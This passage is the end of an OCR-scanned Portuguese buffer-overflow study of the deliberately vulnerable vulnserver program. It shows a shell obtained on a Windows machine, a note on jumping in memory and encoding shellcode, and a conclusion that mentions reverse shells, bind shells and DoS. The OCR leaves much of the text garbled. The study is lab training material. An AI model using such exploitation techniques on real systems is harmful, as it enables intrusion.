Directory of C:i\

P8/11/2021 B©4:31 AM nasm
A2:14 AM <DIR> PerflLogs

AM <DIR> Program Files
AM <DIR> Program Files
AN <DIR> Python2?
AW <DIR> Uzers

6 AM <DIR> Windows
File(s) @ bytes

Dir{s) 31,927,910,400 bytes free

C:\>whoami
whoami
desktop-58ciZ2k5\suite

E conseguimos nosso shell.
Neste comando, tivemos dois grandes problemas: o tamanho do buffer em que caimos,

nos obrigando a dar um salto na memdria, € uma quantidade limitadissima de
caracterese uteis, nos obrigando a encoder nosso shellcode.

94



®

https://hastur666.github.io/Windows BoF/

CONCLUSAO

Neste estudo, pudemos avaliar o programa vulnserver desde seu codigo fonte, porém
em situacdes reais dificilmente teremos chance de analisar o codigo fonte de um
programa.

Porém, com as técnicas apresentadas neste artigo, € possivel fazer o debbug de um
programa e encontrar suas vulnerabilidades. Assim como criar estratégias para explora-
las.

Além das formas apresentadas neste estudo, existem varias outras técnicas mais
complexas para explorar as mesmas vulnerabilidades, podemos futuramente adicionar
novas técnicas a este estudo para torna-lo mais competo.

Em todos os exploits utilizados neste estudo, utilizamos um reverse shell, mas tendo em
vista que conseguimos controlar o programa a nivel de atingir o SO, podemos enviar
qualquer outro exploit cujo SO possa ser disponivel, tais como bind shell, execusséo de
comandos, DoS, entre outros.

No mais, muito obrigado por acompanhar esta PoC, espero que tenha sido util.
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